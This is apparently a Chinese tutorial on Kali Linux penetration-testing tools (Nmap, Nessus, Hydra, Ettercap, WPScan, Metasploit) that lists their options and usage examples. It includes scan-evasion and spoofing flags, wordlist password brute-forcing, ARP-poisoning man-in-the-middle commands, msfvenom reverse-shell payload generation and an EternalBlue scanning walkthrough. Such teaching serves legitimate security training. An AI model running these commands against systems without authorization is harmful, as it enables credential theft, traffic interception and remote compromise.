Kali linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。
Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2] 用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM架构的镜像,可用于树莓派和三星的ARM Chromebook
另外Kali Linux 集成了以下安全软件:
Metasploit、RFMON、Aircrack-NG、Gerix Wifi Cracker、Kismet、Nmap、Ophcrack、Ethercap、Wireshark (formerly known as Ethereal)、
BeEF (Browser Exploitation Framework)、Hydra
OWASP Mantra Security Framework (一套基于FireFox的工具、插件和脚本)
Cisco OCS Mass Scanner (通过telnet以及默认密码扫描思科路由器)
exploit 程序比如 浏览器
BackTrack 工具软件分成12大类:
Information Gathering(信息收集)
Vulnerability Assessment(漏洞评定工具)
Exploitation Tools(开发工具)
Privilege Escalation(用户提权)
Maintaining Access(维护登录)
Reverse Engineering(逆向工程)
RFID Tools(RFID工具)
Stress testing(压力测试)
Forensics(取证)
Reporting Tools(报告工具)
Services(服务)
Miscellaneous(杂项)
Nmap是一款开源免费的网络发现(Network Discovery)和安全审计(Security Auditing)工具。软件名字Nmap是Network Mapper的简称。Nmap最初是由Fyodor在1997年开始创建的。随后在开源社区众多的志愿者参与下,该工具逐渐成为最为流行安全必备工具之一。详情可以参见:www.nmap.org。
一般情况下,Nmap用于列举网络主机清单、管理服务升级调度、监控主机或服务运行状况。Nmap可以检测目标机是否在线、端口开放情况、侦测运行的服务类型及版本信息、侦测操作系统与设备类型等信息。
可以作为信息收集工具,收集有关主机的信息;也可以提供防火墙规避和欺骗功能
Nmap的优点:
主机存活检测:探测网络上的主机,例如列出响应TCP和ICMP请求、icmp请求、开放特别端口的主机
端口探测:探测目标主机所开放的端口
服务识别
操作系统识别:探测目标主机的操作系统及网络设备的硬件特性
硬件地址检测
服务版本识别:探测目标主机的网络服务,判断其服务名称及版本号
漏洞扫描,使用nmap自带脚本
支持探测脚本的编写:使用Nmap的脚本引擎(NSE)和Lua编程语言
通过对设备或者防火墙的探测来审计它的安全性
探测目标主机所开放的端口
网络存储,网络映射,维护和资产管理
通过识别新的服务器审计网络的安全性
探测网络上的主机
端口扫描的6种状态:
open:端口是开放的closed:端口是关闭的filtered:端口被防火墙IDS/IPS屏蔽,无法确定其状态unfiltered:端口没有被屏蔽,但是否开放需要进一步确定open|filtered:端口是开放的或被屏蔽closed|filtered :端口是关闭的或被屏蔽
默认发送一个ARP的ping数据包,用来探测目标主机在1-10000范围内所开放的端口:
nmap <target ip address>
对返回的结果详细描述输出
nmap -vv <target ip address>
通过参数-p 来设置我们将要扫描的端口号:(range为端口扫描的范围 不超过65535)
nmap -p(range) <target IP>
指定端口扫描:
nmap -p(port1,port2,port3,...) <target ip>
例如:
nmap -p80,443,8080 <target ip address>
使用 ping 扫描:
nmap -sP <target ip>
路由追踪:
nmap --traceroute <target ip>
使用SYN的方法对全端口进行扫描,在aggressive(4)的时间模板下,同时对开放的端口进行端口识别:(SYN是TCP/IP建立连接时使用的握手信号)
nmap -p1-65535 -sV -sS -T4 <target ip>
aggressive(4)时间模板,探测操作系统类型和版本,以及显示traceroute的结果:
nmap -v -sS -A -T4 <target ip>
nmap -v -p 1-65535 -sV -O -sS -T4 <target ip>
insane(5)的时间模板,探测操作系统类型和版本,以及显示traceroute的结果:
nmap -v -sS -A -T5 <target ip>
nmap -v -sV -O -sS -T5 <target ip>
nmap -v -p 1-65535 -sV -O -sS -T5 <target ip>
扫描的结果输出到屏幕,同时会存储一份filename.txt:
nmap -sV -p 139,445 -oG filename.txt <target ip>
扫描指定的目标主机,同时检测相关漏洞:
nmap --script-args=unsafe=1 --script smb-check-vulns.nse -p 445 <target ip>
-iL filename 从文件中读取待检测目标,文件中的表示方法支持机名,ip,网段
-iR hostnum 随机选取,进行扫描.如果-iR指定为0,则无休止的扫描
--exclude host1[, host2] 扫描任务中需要排除的主机
--exculdefile exclude_file 排除文件中的IP,格式和-iL指定扫描文件格式相同
主机发现:
-sL 仅仅显示扫描的IP数目,不会进行任何扫描
-sn ping扫描,即主机发现
-Pn 不检测是否主机存活
-PS/PA/PU/PY[portlist] TCP SYN Ping/TCP ACK Ping/UDP Ping的发现
-PE/PP/PM 使用ICMP echo, timestamp and netmask 请求包来发现主机
-PO[prococol list] 使用IP协议包来探测对方主机是否开启
-n/-R 不对IP进行域名反向解析/对所有的IP都进行域名反向解析
扫描技巧:
-sS/sT/sA/sW/sM TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描
-sU UDP扫描
-sN/sF/sX TCP Null,FIN,and Xmas扫描
--scanflags 自定义TCP包中的flags(标志位)
-sI zombie host[:probeport] Idlescan
-sY/sZ SCTP INIT/COOKIE-ECHO 扫描
-sO 使用IP protocol 扫描确定目标机所支持的协议类型
-b “FTP relay host” 使用FTP bounce scan
指定端口和扫描顺序:
-p 扫描特定的端口 -p80,443 或者 -p1-65535
-p U:PORT 扫描udp的某个端口, -p U:53
-F 快速扫描模式,比默认的扫描端口要少
-r 不随机扫描端口,默认是随机扫描
--top-ports "number" 扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个
--port-ratio "ratio" 扫描指定频率以上的端口
服务版本的识别:
-sV 开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测
--version-intensity "level" 设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高,服务越有可能被正确识别。默认是7
--version-light 打开轻量级模式,为--version-intensity 2的别名
--version-all 尝试所有探测,为--version-intensity 9的别名
--version-trace 显示出详细的版本侦测过程信息
使用脚本扫描:
-sC 根据端口识别的服务,调用默认脚本
--script=”Lua scripts” 需要调用的脚本名
--script-args=n1=v1,[n2=v2] 调用脚本传递的参数
--script-args-file=filename 使用文本传递参数
--script-trace 显示所有发送和接收到的数据
--script-updatedb 更新脚本的数据库
--script-help=”Lua script” 显示指定脚本的帮助选项
OS识别:
-O 启用操作系统检测,-A来同时启用操作系统检测和版本检测
--osscan-limit 针对指定的目标进行操作系统检测(至少确知该主机分别有一个open和closed的端口)
--osscan-guess 推测操作系统检测结果,当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认进行匹配
防火墙/IDS躲避和哄骗:
-f; --mtu value 指定使用分片、指定数据包的MTU.
-D decoy1,decoy2,ME 使用诱饵隐蔽扫描
-S IP-ADDRESS 源地址欺骗
-e interface 使用指定的接口
-g/ --source-port PROTNUM 使用指定源端口
--proxies url1,[url2],... 使用HTTP或者SOCKS4的代理
--data-length NUM 填充随机数据让数据包长度达到NUM
--ip-options OPTIONS 使用指定的IP选项来发送数据包
--ttl VALUE 设置IP time-to-live域
--spoof-mac ADDR/PREFIX/VEBDOR MAC地址伪装
--badsum 使用错误的checksum来发送数据包
选择输出格式:
-oN 将标准输出直接写入指定的文件
-oX 输出xml文件
-oS 将所有的输出都改为大写
-oG 输出便于通过bash或者perl处理的格式,非xml
-oA BASENAME 可将扫描结果以标准格式、XML格式和Grep格式一次性输出
-v 提高输出信息的详细度
-d level 设置debug级别,最高是9
--reason 显示端口处于带确认状态的原因
--open 只输出端口状态为open的端口
--packet-trace 显示所有发送或者接收到的数据包
--iflist 显示路由信息和接口,便于调试
--log-errors 把日志等级为errors/warings的日志输出
--append-output 追加到指定的文件
--resume fileNAME 恢复已停止的扫描
--stylesheet PATH/URL 设置XSL样式表,转换XML输出
--webxml 从namp.org得到XML的样式
--no-sytlesheet 忽略XML声明的XSL样式表
其他选项:
-6 开启IPv6
-A OS识别,版本探测,脚本扫描和traceroute
--datedir DIRNAME 说明用户Nmap数据文件位置
--send-eth / --send-ip 使用原以太网帧发送/在原IP层发送
--privileged 假定用户具有全部权限
--unprovoleged 假定用户不具有全部权限,创建原始套接字需要root权限
-V 打印版本信息
-h 输出帮助
防火墙/IDS规避:
防火墙与IDS规避为用于绕开防火墙与IDS(入侵检测系统)的检测与屏蔽,以便能够更加详细地发现目标主机的状况
Nmap提供了多种规避技巧,通常可以从两个方面考虑规避方式:数据包的变换(Packet Change)与时序变换(Timing Change)
规避用法:
-f; --mtu <val>: 指定使用分片、指定数据包的MTU
-D <decoy1,decoy2[,ME],...>: 用一组IP地址掩盖真实地址,其中ME填入自己的IP地址
-S <IP_Address>: 伪装成其他IP地址
-e <iface>: 使用特定的网络接口
-g/--source-port <portnum>: 使用指定源端口
--data-length <num>: 填充随机数据让数据包长度达到Num
--ip-options <options>: 使用指定的IP选项来发送数据包
--ttl <val>: 设置time-to-live时间
--spoof-mac <mac address/prefix/vendor name>: 伪装MAC地址
--badsum: 使用错误的checksum来发送数据包(正常情况下,该类数据包被抛弃,如果收到回复,说明回复来自防火墙或IDS/IPS)
例子:
-F表示快速扫描100个端口;-Pn表示不进行Ping扫描;-D表示使用IP诱骗方式掩盖自己真实IP(其中ME表示自己IP);-e eth0表示使用eth0网卡发送该数据包;-g 3355表示自己的源端口使用3355;192.168.1.1是被扫描的目标IP地址
nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1
man Nmap
参考:
0x00
0x01
Nessus号称是世界上最流行的漏洞扫描程序,全世界有超过75000个组织在使用它。该工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件,Nessus可同时在本机或远端上遥控,进行系统的漏洞分析扫描。Nessus也是渗透测试重要工具之一,可以帮助找到潜在攻击者可能利用的漏洞,Nessus通常包括成千上万的最新的漏洞,各种各样的扫描选项,及易于使用的图形界面和有效的报告
为了定位在目标系统上的漏洞,Nessus依赖feeds的格式实现漏洞检查
特点介绍:
提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库
不同于传统的漏洞扫描软件。Nessus可同时在本机或远程控制,进行系统的漏洞分析扫描
其运作效能随着系统的资源而自行调整。如果将主机配置更多的资源(如加快CPU速度或增加内存大小),其效率表现可因为丰富资源而提高
可自行定义插件
NASL(Nessus Attack Scripting Language)是由Tenable所发出的语言,用来写入Nessus的安全测试选项
完全支持SSL(Secure Socket Layer)
官网下载地址
关于Kali安装Nessus就不说了安装教程
先启动Nessus服务
/etc/init.d/nessusd start
Starting Nessus:
然后去https://kali:8834/ Nessus登录界面 输入账号登录
Nessus 主界面
主页面右侧点击Policies 进入后点击右上角 New Policy 出现如下图
该界面选择创建策略类型。Nessus默认支持10种策略类型。这里随便选个 Advanced Scan 进入后
在该界面设置策略名、可见性和描述信息(可选项) 右侧边条对应选项可选择设置多个选项
选择插件程序点击Plugins
该界面显示了所有插件程序,默认全部是启动的。在该界面可以单击Disable All按钮,禁用所有启动的插件程序。然后指定需要启动的插件程序,即可启动,再次点击绿色按钮即可禁用
在扫描策略设置好以后,需新建扫描任务才能开始扫描漏洞
切回主界面 点击Scans 右上角New Scan 建立新扫描任务
在该界面设置扫描任务名称、使用策略、文件夹和扫描的目标。这里分别设置为Sample Scan、Policy(之前建立好的策略)、My Scans和192.168.41.0/24。然后单击Launch
如果用户想要使用Nessus攻击一个大范围的漏洞,需要配置评估漏洞列表并指定获取信息的评估列表。下面介绍配置Nessus在目标主机寻找网络漏洞,这些漏洞指目标主机或其他网络协议
1.新建一个名为 NetWork Scan 的策略
2.在策略中添加所需要的插件程序
CISCO 扫描CISCO系统
DNS 扫描DNS服务器
Default Unix Accounts 扫描本地默认用户账户和密码
FTP 扫描FTP服务器
Firewalls 扫描代理防火墙
Gain a shell remotely 扫描远程获取的Shell
Geeral 扫描常用的服务
Netware 扫描网络操作系统
Peer-To-Peer File Sharing 扫描共享文件检测
Policy Compliance 扫描PCI DSS和SCAP信息
SCADA 扫描设置管理工具
SMTP Problems 扫描SMTP问题
SNMP 扫描SNMP相关信息
Service Detection 扫描服务侦察
Settings 扫描基本设置
3.在主界面新建一个扫描任务 开始扫描
4.扫描完成后查看扫描报告,如发现漏洞想详细分析可以到处文件具体分析
接下来介绍使用Nessus扫描指定Linux系统上的漏洞
常规步骤 给一下需要添加的插件程序:
Backdoors 扫描秘密信息
Brute Force Attacks 暴力攻击
CentOSo Local Security Checks 扫描CentOS系统的本地安全漏洞
DNS 扫描DNS服务器
Debian Local Security Checks 扫描Debian系统的本地安全漏洞
Default Unix Accounts 扫描默认Unix用户账号
Denial of Service 扫描拒绝的服务
FTP 扫描FTP服务器
Fedora Local Security Checks 扫描Fedora系统的本地安全漏洞
Firewalls 扫描防火墙
FreeBSD Local Security Checks 扫描FreeBSD系统的本地安全漏洞
Gain a shell remotely 扫描远程获得的Shell
General 扫描漏洞
Gentoo Local Security Checks 扫描Gentoo系统的本地安全漏洞
HP-UX Local Security Checks 扫描HP-UX系统的本地安全漏洞
Mandriva Local Security Checks 扫描Mandriva系统的本地安全漏洞
Misc 扫描复杂的漏洞
Red Hat Local Security Checks 扫描Red Hat系统的本地安全漏洞
SMTP Porblems 扫描SMTP问题
SNMP 扫描SNMP漏洞
Scientific Linux Local Security Checks 扫描Scientific Linux系统的本地安全漏洞
Slackware Local Security Checks 扫描Slackware系统的本地安全漏洞
Solaris Local Security Checks 扫描Solaris系统的本地安全漏洞
SuSE Local Security Checks 扫描SuSE系统的本地安全漏洞
Ubuntu Local Security Checks 扫描Ubuntu系统的本地安全漏洞
Web Servers 扫描Web服务器
给出需要添加的插件程序:
DNS 扫描DNS服务器
Databases 扫描数据库
Denial of Service 扫描拒绝的服务
FTP 扫描FTP服务器
SMTP Problems 扫描SMTP问题
SNMP 扫描SNMP
Settings 扫描设置信息
Web Servers 扫描Web Servers
Windows 扫描Windows
Windows:Microsoft Bulletins 扫描Windows中微软公告
Windows:User management 扫描Windows用户管理
Hydra是一个相当强大的暴力密码破解工具。该工具支持几乎所有协议的在线密码破解,如FTP、HTTP、HTTPS、MySQL、MS SQL、Oracle、Cisco、IMAP和VNC等。其密码能否被破解,关键在于字典是否足够强大
经过测试,可以在Linux,Windows / Cygwin,Solaris,FreeBSD / OpenBSD,QNX(Blackberry 10)和MacOS上进行干净的编译
目前该工具支持以下协议:Asterisk,AFP,Cisco AAA,Cisco auth,Cisco enable,CVS,Firebird,FTP,HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-POST ,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD,HTTPS-POST,HTTP-Proxy,ICQ,IMAP,IRC,LDAP,MEMCACHED,MONGODB,MS-SQL,MYSQL ,NCP,NNTP,Oracle侦听器,Oracle SID,Oracle,PC-Anywhere,PCNFS,POP3,POSTGRES,Radmin,RDP,Rexec,Rlogin,Rsh,RTSP,SAP / R3,SIP,SMB,SMTP,SMTP枚举,SNMP v1 v2 v3,SOCKS5,SSH(v1和v2),SSHKEY,Subversion,Teamspeak(TS2),Telnet,VMware-Auth,VNC和XMPP
支持的平台:
1.所有UNIX平台(Linux,* BSD,Solaris等)
2.MacOS(基本上是BSD克隆)
3.带Cygwin的Windows(IPv4和IPv6)
4.基于Linux,MacOS或QNX的移动系统(例如Android,iPhone,Blackberry 10,Zaurus,iPaq)
此工具在Kali上有图形界面版 如下
点击应用程序 搜索框搜索hydra 打开hydra-gtk
该界面用于设置目标系统的地址、端口和协议等。如果要查看密码攻击的过程,将Output Options框中的Show Attempts复选框勾上
进入Password界面
/usr/share/wfuzz/wordlist/others/names.txt
/usr/share/wfuzz/wordlist/others/common_pass.txt
在该界面指定用户名和密码列表文件,这里使用Kali系统中存在的用户名和密码列表文件,并选择Loop around users选项。其中,用户名和密码文件分别保存在/usr/share/wfuzz/wordlist/others/names.txt和/usr/share/wfuzz/wordlist/others/common_pass.txt中
设置好密码字典后,单击Tuning选项
在该界面设置任务的编号和超时时间。如果运行任务太多的话,服务的响应速率将下降。所以要建议将原来默认的任务编号16修改为2,超时时间修改为15。然后将Exit after first found pair的复选框勾上,表示找到第一对匹配项时则停止攻击
进行start界面 在该界面显示了四个按钮,分别是启动、停止、保存输出和清除输出。这里单击Start按钮开始攻击
xHydra工具根据自定的用户名和密码文件中的条目,进行匹配。当找到匹配的用户名和密码时,则停止攻击 密码字典越强大越好
Hydra Github
官网 Github
官网介绍:Ettercap是针对中间人攻击的综合套件。它具有实时连接的嗅探,动态内容过滤和许多其他有趣的技巧。它支持许多协议的主动和被动剖析,并包括许多用于网络和主机分析的功能(内网渗透神器)
也是Linux下一个强大的欺骗工具,也适用于Windows。用户能够使用Ettercap工具快速地创建伪造的包,实现从网络适配器到应用软件各种级别的包,绑定监听数据到一个本地端口等
中间人攻击(Man-in-the-MiddleAttack,简称“MITM攻击”)是一种“间接”的入侵攻击,这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间,这台计算机就称为“中间人”
中间人攻击常见的两种方法:ARP欺骗、DNS欺骗
Usage: ettercap [OPTIONS] [TARGET1] [TARGET2]
用法:ettercap <选项> <目标><>
TARGET is in the format MAC/IP/PORTs (see the man for further detail)
TARGET 的格式: MAC地址/IP地址/端口号
Sniffing and Attack options:
-M, --mitm <METHOD:ARGS> perform a mitm attack
实施中间人攻击
-o, --only-mitm don't sniff, only perform the mitm attack 不进行网络嗅探,只进行中间人攻击
-b, --broadcast sniff packets destined to broadcast 嗅探地址是广播地址的数据包
-B, --bridge <IFACE> use bridged sniff (needs 2 ifaces)
使用桥接嗅探(需要两个网卡)
-p, --nopromisc do not put the iface in promisc mode 不要将网卡设置成混杂模式
-S, --nosslmitm do not forge SSL certificates
禁用SSL证书伪造
-u, --unoffensive do not forward packets
不转发数据包
-r, --read <file> read data from pcapfile <file>
从pcap文件读取数据<文件名>
-f, --pcapfilter <string> set the pcap filter <string>
设置pcap过滤器
-R, --reversed use reversed TARGET matching
反向选择目标
-t, --proto <proto> sniff only this proto (default is all) 选择一个协议进行嗅探
--certificate <file> certificate file to use for SSL MiTM 用于SSL中间人攻击的证书文件
--private-key <file> private key file to use for SSL MiTM 用于SSL中间人攻击的私钥文件
User Interface Type:
-T, --text use text only GUI 文本模式
-q, --quiet do not display packet contents
安静模式 不输出过多无用信息
-s, --script <CMD> issue these commands to the GUI
将命令发送到GUI
-C, --curses use curses GUI
基于curse的GUI
-D, --daemon daemonize ettercap (no GUI)
守护进程
-G, --gtk use GTK GUI 使用GUI界面
Logging options:
-w, --write <file> write sniffed data to pcapfile <file> 把嗅探到的数据写入文件中
-L, --log <logfile> log all the traffic to this <logfile> 记录所有流量数据到指定文件中
-l, --log-info <logfile> log only passive infos to this <logfile> 仅记录被动信息到指定文件
-m, --log-msg <logfile> log all the messages to this <logfile> 把所有消息记录到指定文件中
-c, --compress use gzip compression on log files
对日志文件使用gzip压缩
Visualization options:
-d, --dns resolves ip addresses into hostnames 将IP地址解析为地址名
-V, --visual <format> set the visualization format
设置可视化格式
-e, --regex <regex> visualize only packets matching this regex 仅显示与此正则表达式匹配的数据包
-E, --ext-headers print extended header for every pck 打印每一个pck的扩展头
-Q, --superquiet do not display user and password
禁止显示用户名和密码
General options:
-i, --iface <iface> use this network interface
手动选择网卡 后面跟网卡参数
-I, --liface show all the network interfaces
列出所有可用网卡列表
-Y, --secondary <ifaces> list of secondary network interfaces 展示辅助网络接口列表
-n, --netmask <netmask> force this <netmask> on iface
设置子网掩码
-A, --address <address> force this local <address> on iface 选择手动设置IP地址 在某个端口上
-P, --plugin <plugin> launch this <plugin> 加载插件
-F, --filter <file> load the filter <file> (content filter) 加载过滤器文件
-z, --silent do not perform the initial ARP scan 禁用初始化ARP扫描
-j, --load-hosts <file> load the hosts list from <file>
从指定文件加载主机列表
-k, --save-hosts <file> save the hosts list to <file>
将主机列表保存到指定文件
-W, --wifi-key <wkey> use this key to decrypt wifi packets (wep or wpa) 加载WIFI密码
-a, --config <config> use the alterative config file <config> 使用备用配置文件
Standard options:
-v, --version prints the version and exit
-h, --help <这两个大家都懂>
简单使用示例:
1.在控制台模式下(-T)不使用混杂模式(-p),只会看到自己的通信
ettercap -Tp
2.在控制台模式下(-T),不使用ARP初始化(-z),不显示数据包内容(-q安静模式),但是会显示用户名和密码和其他消息
ettercap -Tzq
3.在控制台模式下(-T),加载主机列表(-j),对目标执行arp毒化中间人攻击(-M arp)
ettercap -T -j /tmp/victims -M arp /10.0.0.1-7/ /10.0.0.10-20/
4.在控制台模式下(-T),对整个局域网执行ARP毒化攻击(-M arp)
ettercap -T -M arp // //
5.在控制台模式下(-T),执行ARP双向欺骗(-M arp:remote)
ettercap -T -M arp:remote /192.168.1.1/ /192.168.1.2-10/
6.在控制台模式下(-T),不使用ARP初始化(-z),使用安静模式(-q),监听所有主机110端口(pop3协议端口)
ettercap -Tzq //110
7.在控制台模式下(-T),不进行ARP初始化(-z),使用安静模式(-q),监听目标10.0.0.1的21,22,23端口(FTP、SSH、TELNET)
ettercap -Tzq /10.0.0.1/21,22,23
8.打印输出可用插件列表
ettercap -P list
9.使用过滤脚本
etterfilter test.filter -o test.ef
Available plugins :
arp_cop 1.1 Report suspicious ARP activity
autoadd 1.2 Automatically add new victims in the target range
chk_poison 1.1 Check if the poisoning had success
dns_spoof 1.2 Sends spoofed dns replies
dos_attack 1.0 Run a d.o.s. attack against an IP address
dummy 3.0 A plugin template (for developers)
find_conn 1.0 Search connections on a switched LAN
find_ettercap 2.0 Try to find ettercap activity
find_ip 1.0 Search an unused IP address in the subnet
finger 1.6 Fingerprint a remote host
finger_submit 1.0 Submit a fingerprint to ettercap's website
fraggle_attack 1.0 Run a fraggle attack against hosts of target one
gre_relay 1.0 Tunnel broker for redirected GRE tunnels
gw_discover 1.0 Try to find the LAN gateway
isolate 1.0 Isolate an host from the lan
link_type 1.0 Check the link type (hub/switch)
mdns_spoof 1.0 Sends spoofed mDNS replies
nbns_spoof 1.1 Sends spoof NBNS replies & sends SMB challenges with custom challenge
pptp_chapms1 1.0 PPTP: Forces chapms-v1 from chapms-v2
pptp_clear 1.0 PPTP: Tries to force cleartext tunnel
pptp_pap 1.0 PPTP: Forces PAP authentication
pptp_reneg 1.0 PPTP: Forces tunnel re-negotiation
rand_flood 1.0 Flood the LAN with random MAC addresses
remote_browser 1.2 Sends visited URLs to the browser
reply_arp 1.0 Simple arp responder
repoison_arp 1.0 Repoison after broadcast ARP
scan_poisoner 1.0 Actively search other poisoners
search_promisc 1.2 Search promisc NICs in the LAN
smb_clear 1.0 Tries to force SMB cleartext auth
smb_down 1.0 Tries to force SMB to not use NTLM2 key auth
smurf_attack 1.0 Run a smurf attack against specified hosts
sslstrip 1.1 SSLStrip plugin
stp_mangler 1.0 Become root of a switches spanning tree
Ettercap部分参考
官网地址 GitHub
WordPress是一款免费的,用于非商业用途的黑匣子WordPress漏洞扫描程序,专为安全专业人员和博客维护人员编写,用于测试其网站的安全性
Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。它不仅能够扫描类似robots.txt这样的敏感文件,还可以实现获取站点用户名,获取安装的所有插件、主题,以及存在漏洞的插件、主题,并提供漏洞信息。同时还可以实现对未加防护的Wordpress站点暴力破解用户名密码
wpscan -update 更新漏洞库
wpscan --url www.target.com --enumerate p 扫描插件基本信息
wpscan --url www.xxx.com --enumerate vp 扫描容易受攻击的插件
wpscan --url www.xxx.com --enumerate ap 扫描所有插件
wpscan --url www.target.com --enumerate u 暴力枚举用户名
wpscan --url www.example.com --wordlist passX.txt --username admin 通过用户名字典爆破密码
wpscan --url www.example.com --wordlist darkc0de.lst --threads 50 使用字典调用50个线程进行暴力破解
wpscan --help
wpscan --random-agent 带着浏览器头访问
wpscan <target ip/target url> 开始对服务器进行扫描
wpscan <target ip/target url> --enumerate t 对使用主题进行扫描
wpscan <target ip/target url> --enumerate vt 扫描主题中存在的漏洞
wpscan <target ip/target url> -e at -e ap -e u 枚举扫描主题、插件、用户名
wpscan –url [wordpress url] –wordlist [path to wordlist] –username [username to brute force] –threads [number of threads to use] 暴力破解用户的root密码
参数选项
--update 更新数据库
--url | -u <target url> 配置扫描URL
--force | -f 强制让wpscan不要验证目标是否是wordpress
--enumerate | -e [option(s)] 枚举信息
选项:
-u 枚举用户名,默认从1-10
-u[10-20] 枚举用户名,配置从10-20
-p 枚举插件
--vp 只枚举有漏洞的插件
--ap 枚举所有插件,时间较长
--tt 列举缩略图相关的文件
-t 枚举主题信息
--vt 只枚举存在漏洞的主题
--at 枚举所有主题,时间较长
可以指定多个扫描选项,例:"-e tt,p"
如果没有指定选项,默认选项为:"vt,tt,u,vp"
--exclude-content-based "<regexp or string>"
当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹
--config-file | -c <config file> 使用指定的配置文件
--user-agent | -a <User-Agent> 指定User-Agent
--cookie <String> 指定cookie
--random-agent | -r 使用随机User-Agent
--follow-redirection 如果目标包含一个重定向,则直接跟随跳转
--batch 无需用户交互,都使用默认行为
--no-color 不要采用彩色输出
--wp-content-dir <wp content dir> WPScan 会去发现wp-content目录,用户可手动指定
--wp-plugins-dir <wp plugins dir> 指定wp插件目录,默认是wp-content/plugins
--proxy <[protocol://]host:port> 设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5, 如果未设置默认是HTTP协议
--proxy-auth <username:password> 设置代理登陆信息
--basic-auth <username:password> 设置基础认证信息
--wordlist | -w <wordlist> 指定密码字典
--username | -U <username> 指定爆破的用户名
--usernames <path-to-file> 指定爆破用户名字典
--threads | -t <number of threads> 指定多线程
--cache-ttl <cache-ttl> 设置 cache TTL.
--request-timeout <request-timeout> 请求超时时间
--connect-timeout <connect-timeout> 连接超时时间
--max-threads <max-threads> 最大线程数
--throttle <milliseconds> 当线程数设置为1时,设置两个请求之间的间隔
--help | -h 输出帮助信息
--verbose | -v 输出Verbose
--version 输出当前版本
非入侵式检测:wpscan -u www.example.com吧
默认选项枚举信息:wpscan -u www.example.com -e
枚举插件信息:wpscan -u www.example.com -e p
爆破用户名admin的密码:wpscan -u www.example.com --wordlist darkc0de.lst --username admin --threads 50
参考
官网 GitHub
Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名
-p, --payload <payload> 指定需要使用的payload(攻击荷载)
-l, --list [module_type] 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作 为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
查看支持的payload列表:msfvenom -l payloads
查看支持的输出文件类型:msfvenom --help-formats
查看支持的编码方式:(为了达到免*的效果):msfvenom -l encoders
查看支持的空字段模块:(为了达到免*的效果):msfvenom -l nops
简单payload使用
Linux:
反向连接:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
正向连接:msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f elf > shell.elf
Windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f exe > shell.exe
PHP:
msfvenom -p php/meterpreter_reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.phpcat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=< IP Address> LPORT=< Port to Connect On> -f asp > shell.asp
Python:
msfvenom -p cmd/unix/reverse_python LHOST=< IP Address> LPORT=< Port to Connect On> -f raw > shell.py
这个界面可看到metasploit当前版本,各个模块的插件数量。
命令行可输入search寻找利用模块
msf5 > search MS17_010
常用的payload
Linux:
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tc
Windows:
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
下面用永恒之蓝演示一下
进入msfconsole search命令搜索MS17_010
搜索到相应的五个模块
使用第二个辅助模块来帮助我们探测哪些主机存在漏洞 输入此命令
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) >
查看所需要的配置信息:show options
使用RHOSTS 参数 来查询指定IP范围内的主机是否存在漏洞 然后输入exploit进行探测
